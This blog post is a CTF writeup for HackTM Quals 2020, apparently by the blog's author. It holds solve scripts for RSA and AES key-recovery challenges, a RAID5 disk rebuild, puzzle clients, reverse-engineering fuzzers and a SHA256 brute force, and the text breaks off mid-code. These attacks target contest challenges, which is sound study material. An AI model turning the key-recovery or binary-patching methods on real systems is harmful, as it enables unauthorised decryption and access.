mcfx's blog

题解、Writeup、游记和碎碎念

HackTM CTF Quals 2020 Writeup

由于寒假比较闲,所以找点比赛打。由于需要上交 wp,所以是英文的。

Crypto

Contents

RSA is easy #1

Since NN is known, we can compute the encrypted value of each printable character. Then match them with the given encrypted flag, we can decrypt it.

e=65537
n=...

s=[...(encrypted flag)]

from gmpy2 import *

f={}
for j in range(32,127):
    f[j**e%n]=j
r=''
for i in s:
    r+=chr(f[i])
print r

RSA is easy #2

We doesn't know NN, but we know that c=ne mod Nc=n^e\ mod\ N. So NN is a factor of necn^e-c. Then for two cc, we can check all nn, and calculate their gcdgcd. Then just follow #1.

from gmpy2 import *

s=open('c').read()
s1='Encrypted flag:'
s=s[s.find(s1)+len(s1):]
s=eval(s.strip())
a=s[0]
b=s[1]
for i in range(97,97+26):
    for j in range(97,97+26):
        t=gcd(i**65537-a,j**65537-b)
        if t>100:
            print '|',t
    print i

Prison Break

Maintain the difference of every two adjacent numbers.

#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

int s[10000007];

int main()
{
    freopen("Given_File.txt","r",stdin);
    fo0(i,9999999)
    {
        int a,b,c;
        in,a,b,c;
        assert(a>=1&&a<=1000000000);
        assert(b>=1&&b<=1000000000);
        assert(c>=0&&c<=9);
        assert(a<=b);
        (s[a]+=c)%=10;
        (s[b]+=10-c)%=10;
    }
    int r=1;
    fo1(i,10000000)
    {
        (s[i]+=s[i-1])%=10;
        (s[i]+=10)%=10;
        if(s[i])r=(ll)r*s[i]%999999937;
    }
    out,r,'\n';
}

Bad keys

ϕ(n)\phi(n) is a factor of ed1ed-1. So we can find phi(n)phi(n).

Since pq=n,pqpq+1=ϕ(n)pq=n,pq-p-q+1=\phi(n), we can find pp and qq.

The pp in the keys are very similar, just like adjacent primes, so we can check some pp and factorize nn.

n=...
p=12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
print(p)
while n%p:
    p-=1
print(p)

Count on me

Consider the given key is a number under some strange base.

Guess each digits is divided in two parts, and they form a 20 base.

After guessing some ways to read the number, finally I found the flag.

(key.txt)

N >N *NNN>N/N>/*//NNN// >> >>.>*./N>.NN/N>N  . /N >N>/>/>N/
WN  V*\\NVW\WVN* NVNN WN\ \  . *.NN . N NWW\\.W\ W\\ NW N\W
from Crypto.Cipher import AES

c='059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex')
iv = '42042042042042042042042042042042'.decode('hex')

def chk(key):
    aes = AES.new(key,AES.MODE_CBC, iv)
    r=aes.decrypt(c)
    for i in r:
        if ord(i)<32 or ord(i)>126:
            return False
    print(r)
    return True

def chkn(x):
    r=''
    for i in range(32):
        r+=chr(x&255)
        x>>=8
    assert x==0
    r=r[::-1]
    return chk(r)

a,b=open('key.txt').readlines()[:2]
a=a.strip()
b=b.strip()
va={'>':2, '/':1, 'N':3, ' ':0, '.':0}
vb={'N':3, 'W':4, ' ':0, '\\':1, '.':0, 'V':2}
unk=[]
tot=0
for i in range(59):
    p=58-i
    po=20**i
    if a[p]=='*':
        assert b[p]=='*'
        unk.append((po,i))
    else:
        tot+=(va[a[p]]*5+vb[b[p]])*po

def dfs(x,cur):
    if x==len(unk):
        return chkn(cur)
    for i in range(20):
        dfs(x+1,cur+unk[x][0]*i)

dfs(0,tot)

Forensics

RR

It seems to be raid5. After some observation, I found the way to decrypt it.

(decrypt script, 2.img is the xorxor of 1.img and 3.img)

#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

int main()
{
    FILE*fa=fopen("1.img","rb"),*fb=fopen("2.img","rb"),*fc=fopen("3.img","rb"),*fr=fopen("res.img","wb");
    const int N=8192*65536,A=8192,B=N/A;
    fo0(i,A)
    {
        unsigned char f[B];
        if(i%3==0)
        {
            fread(f,1,B,fb);
            fread(f,1,B,fc);
            fwrite(f,1,B,fr);
            fread(f,1,B,fa);
            fwrite(f,1,B,fr);
        }
        else if(i%3==1)
        {
            fread(f,1,B,fa);
            fread(f,1,B,fb);
            fwrite(f,1,B,fr);
            fread(f,1,B,fc);
            fwrite(f,1,B,fr);
        }
        else
        {
            fread(f,1,B,fc);
            fread(f,1,B,fa);
            fwrite(f,1,B,fr);
            fread(f,1,B,fb);
            fwrite(f,1,B,fr);
        }
    }
}

However, this result image seems to be broken (maybe because of header).

I ran binwalk on this image, and it found a jpg file. That's the flag.

Misc

Romanian Gibberish

Remove p and the letter after it.

The dragon sleeps at night

Work, buy level 1 sword, sleep -5 days, then go to the dragon.

CHIP 8 /1

F X 29 can load protected address into I.

D X Y N can read protected memory and show them.

6015
F029
D11F

CHIP 8 /2

The last 512 bytes is executable, just jump there and check "Last instruction".

Shifty

First, we can find some way to rotate (x0,y0),(x0,y1),(x1,y0)(x_0,y_0),(x_0,y_1),(x_1,y_0). (Just consider (0,0)(0,1)(1,0)(0,0)\to(0,1)\to (1,0))

It requires 2n2n (nn is board size) operations.

For a level, we can solve it by such rotation.

For first three levels, it's enough. But for level 4, we need to find out what's the real operation. This is not difficult to be done.

For level 5, we can only guess, and then run this until it succeeds.

from pwn import *
from copy import deepcopy
import random

r=remote('138.68.67.161',60006)

rs=[]
chrs={}
cnts={}

def work_level(id):
    global rs,chrs,cnts
    r.recvuntil('Level %d\n'%id)
    r.recvuntil('Your target:\n')
    r.recvuntil('  ')
    s=r.recvuntil('\n')
    us=s[:]
    m=len(s.strip().split())
    n=0
    req=[]
    while True:
        s=r.recvuntil('\n').decode()
        if len(s)<2:
            break
        n+=1
        req.append(s.strip().split(' ')[1:])
    print(n,m,req)
    r.recvuntil('Current board:\n\n')
    r.recvuntil('\n')
    cur=[]
    for i in range(n):
        s=r.recvuntil('\n').decode()
        cur.append(s.strip().split(' ')[1:])
    print(cur)
    for i in range(n):
        print(' '.join(cur[i]))
    print(r.recvuntil('Enter'))
    print(r.recvuntil(': '))

    def rotx(x,u=None):
        global rs
        if x in chrs:
            rs.append(chrs[x])
        else:
            rs.append(chr(x+65))
        for T in range(cnts[x]):
            t=cur[x]
            cur[x]=t[1:]+t[:1]
            if u is not None:
                for t in u:
                    if t[0]==x:
                        t[1]=(t[1]-1)%m

    def roty(y,u=None):
        global rs
        if -y-1 in chrs:
            rs.append(chrs[-y-1])
        else:
            rs.append(str(y))
        for T in range(cnts[-y-1]):
            t=cur[0][y]
            for i in range(n-1):
                cur[i][y]=cur[i+1][y]
            cur[n-1][y]=t
            if u is not None:
                for t in u:
                    if t[1]==y:
                        t[0]=(t[0]-1)%n

    t=[]
    for i in range(n):
        t.append(chr(i+65))
    for i in range(m):
        t.append(str(i))
    if id==5:
        t=[]
        for i in range(n):
            t.append(chr(i+65))
        random.shuffle(t)
        for i in range(n):
            chrs[i]=t[i]
        t=[]
        for i in range(m):
            t.append(str(i))
        random.shuffle(t)
        for i in range(m):
            chrs[-i-1]=t[i]
    else:
        chrs={}
        cnts={}
        for i in range(-m,n):
            cnts[i]=1
        if id<=3:
            for i in range(n):
                chrs[i]=chr(i+65)
            for i in range(m):
                chrs[-i-1]=str(i)
        else:
            for ch in t:
                #print(ch)
                r.send(ch+'\n')
                while True:
                    s=r.recvuntil('\n')
                    #print(s,us)
                    if s.strip()==us.strip():
                        break
                cur2=[]
                for i in range(n):
                    s=r.recvuntil('\n').decode()
                    cur2.append(s.strip().split(' ')[1:])
                diff=[]
                for i in range(n):
                    for j in range(m):
                        if cur[i][j]!=cur2[i][j]:
                            diff.append((i,j))
                assert len(diff)==n or len(diff)==m
                xs=set();ys=set()
                for i in diff:
                    xs.add(i[0])
                    ys.add(i[1])
                if len(xs)==1:
                    for u in xs:
                        x=u
                    cnt=0
                    while cur!=cur2:
                        rotx(x)
                        cnt+=1
                    assert cnt==1 or (cnt+1)%m==0
                    chrs[x]=ch
                    cnts[x]=cnt
                else:
                    assert len(ys)==1
                    for u in ys:
                        y=u
                    cnt=0
                    while cur!=cur2:
                        roty(y)
                        cnt+=1
                    assert cnt==1 or (cnt+1)%n==0
                    chrs[-y-1]=ch
                    cnts[-y-1]=cnt
                #print(ch,cur)
    print(chrs)
    print(cnts)
    #exit()

    rs=[]

    def work(x,y,z):
        #x<-y y<-z z<-x y is pivot
        u=[list(x),list(y),list(z)]
        if x[0]==y[0]:
            assert x[1]!=y[1] and y[0]!=z[0] and y[1]==z[1]
            while u[2]!=list(y):
                roty(y[1],u)
            while u[0]!=list(y):
                rotx(y[0],u)
            while u[0]!=list(z):
                roty(y[1],u)
            while u[2]!=list(y):
                rotx(y[0],u)
        else:
            assert x[1]==y[1] and y[0]==z[0] and y[1]!=z[1]
            while u[2]!=list(y):
                rotx(y[0],u)
            while u[0]!=list(y):
                roty(y[1],u)
            while u[0]!=list(z):
                rotx(y[0],u)
            while u[2]!=list(y):
                roty(y[1],u)

    for i in range(n-1):
        for j in range(m):
            if i==n-2 and j==m-1:
                break
            for k in range(n):
                for l in range(m):
                    if req[i][j]==cur[k][l]:
                        x=k;y=l
                        break
            if i==x and j==y:
                continue
            if i!=x and j!=y:
                assert x>i
                work((x,y),(x,j),(i,j))
            elif i==x:
                t=0
                while j==t or y==t:
                    t+=1
                work((x,y),(x+1,y),(x+1,t))
                work((x+1,t),(x+1,j),(i,j))
            else:
                assert j==y
                if i!=n-2:
                    t=1 if y==0 else 0
                    u=n-1 if x!=n-1 else n-2
                    work((x,y),(u,y),(u,t))
                    work((u,t),(u,y),(i,j))
                else:
                    work((x,y),(x,y+1),(i,y+1))
                    x=i;y+=1
                    t=0
                    while j==t or y==t:
                        t+=1
                    work((x,y),(x+1,y),(x+1,t))
                    work((x+1,t),(x+1,j),(i,j))
            #print(i,j,cur)
            assert cur[i][j]==req[i][j]
    #print(cur)
    for i in range(m-1):
        for k in range(n):
            for l in range(m):
                if req[n-1][i]==cur[k][l]:
                    x=k;y=l
                    break
        if n-1==x and i==y:
            continue
        if x==n-1 and y==m-1:
            work((n-1,i),(x,y),(n-2,m-1))
            continue
        if x==n-1:
            work((x,y),(x,m-1),(n-2,m-1))
            x=n-2
            y=m-1
        assert x==n-2 and y==m-1
        work((x,y),(n-1,y),(n-1,i))
        #print(i,cur)
    print(cur)
    #print(rs)
    #exit()

    ST=10000
    for i in range(0,len(rs),ST):
        r.send(','.join(rs[i:i+ST])+'\n')
        if i+ST>=len(rs):
            #r.interactive()
            #exit()
            break
        print(r.recvuntil('Enter'))
        print(r.recvuntil(': '))

for i in range(1,6):
    print('work_level:',i)
    work_level(i)
#r.interactive()
print(r.recvuntil('\n'))
tt=r.recv(10)
print(tt)
if tt==b'Enter 0-3 ':
    exit()
r.interactive()

Rev

baby bear

If we change some position of input, some suffix of the output will change.

So we can fuzz it. (In fact, it's bfs or maybe A*)

import pexpect,heapq

def work(s):
    p=pexpect.spawn(['./baby_bear_bak'])
    p.read(613)
    p.write(s+b'\n')
    res=p.read(100)
    t=res.find(b'\r\n')
    return res[t+2:t+48]

def bitxor(s,x):
    xt=x>>3
    return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]

target=b'1100011010101011000100101011000101001011111000'

def cal(s):
    t=work(s)
    c=0
    while c<46 and target[c]==t[c]:
        c+=1
    return c

def u(x,y):
    return x-y*2.5

st=b'0'*16
sc=cal(st)
q=[(u(0,sc),sc,0,st)]
while True:
    tt,sc,cur,s=heapq.heappop(q)
    print(sc,cur,s)
    if sc==46:
        print()
        print(s.decode()[:-2])
        break
    t=bitxor(s,cur)
    flag=True
    for i in t:
        if i<32 or i>127:
            flag=False
    if flag:
        ns=cal(t)
        heapq.heappush(q,(u(cur+1,ns),ns,cur+1,t))
    heapq.heappush(q,(u(cur+1,sc),sc,cur+1,s))

papa bear

It shows similar features to baba bear, so we can also fuzz.

import os,pexpect,heapq

def uu(s):
    r=''
    for i in s:
        if i=='M':
            r+='0'
        elif i=='W':
            r+='1'
    return r

def work(s):
    #p=pexpect.spawn('./papa_bear '+s.decode())
    os.system('./papa_bear "'+s.decode().replace('\\','\\\\').replace('"','\\"').replace('`','\\`')+'" 0>out.txt')
    return uu(open('out.txt').read())

def bitxor(s,x):
    xt=x>>3
    return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]

#print(work('1231231231231234'))
#print(work(b'\0'*16))
#print(work(bitxor(b'\0'*16,10)))

target=uu(open('sample.txt').read())
print(len(target),target)
print(len(work(b'0'*100)))

def cal(s):
    t=work(s)
    c=0
    while c<275 and target[c]==t[c]:
        c+=1
    return c

def u(x,y):
    return x-y*2
    #return -y

st=b'HackTM{F4th3r b'+b'0'*80
sc=cal(st)
q=[(u(0,sc),sc,0,st)]
L=4
while True:
    tt,sc,cur,s=heapq.heappop(q)
    print(sc,cur,s)
    if sc==275:
        print()
        print(s.decode()[:-2])
        break
    for j in range(1,1<<L):
        t=s
        for k in range(L):
            if j>>k&1:
                t=bitxor(t,cur+k)
        flag=True
        for i in t:
            if i<32 or i>126:
                flag=False
        if flag:
            ns=cal(t)
            heapq.heappush(q,(u(cur+L,ns),ns,cur+L,t))
    heapq.heappush(q,(u(cur+L,sc),sc,cur+L,s))

hackdex

The binary translates words from a dictionary, and there's an hidden option 9.

That requires pro user, and we patched it at 0xec64.

The option 9 requires 6 words, and checks them using contains_key. Then it connects these words and checks their sha256, and finally use it as the key of chacha to get the flag.

However, these hash tables were empty, so it's difficult to know which words are required.

Then the hint gives the Boggle game, and https://github.com/AmokHuginnsson/boggle-solvers/blob/master/solve.py tells us the rules.

So we can find the words for the 6 groups.

char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};

Then just brute force the sha256.

#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

#include "picosha2.h"
#include "omp.h"

const int C0=33,C1=27,C2=47,C3=39,C4=44,C5=35;

const unsigned char req[33]={191, 215, 169, 38, 6, 20, 158, 102, 23, 156, 141, 6, 168, 186, 80, 245, 135, 162, 150, 225, 107, 64, 252, 16, 89, 235, 42, 102, 102, 10, 239, 19};

char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};

#define A(t) int c##t=c;for(char*i=s##t[x##t];*i;i++)tmp[c++]=*i;
#define D(t) c=c##t;

void work(int x0,int x1)
{
    char tmp[105];
    int c=0;
    A(0);
    A(1);
    fo0(x2,C2)
    {
        A(2);
        fo0(x3,C3)
        {
            A(3);
            fo0(x4,C4)
            {
                A(4);
                fo0(x5,C5)
                {
                    A(5);
                    unsigned char res[picosha2::k_digest_size+1];
                    picosha2::hash256(tmp,tmp+c,res,res+picosha2::k_digest_size);
                    //std::string hex_str = picosha2::bytes_to_hex_string(res,res+picosha2::k_digest_size);
                    //std::cout<<hex_str<<std::endl;
                    //out,c,'\n';
                    if(res[0]==191)//req[0]
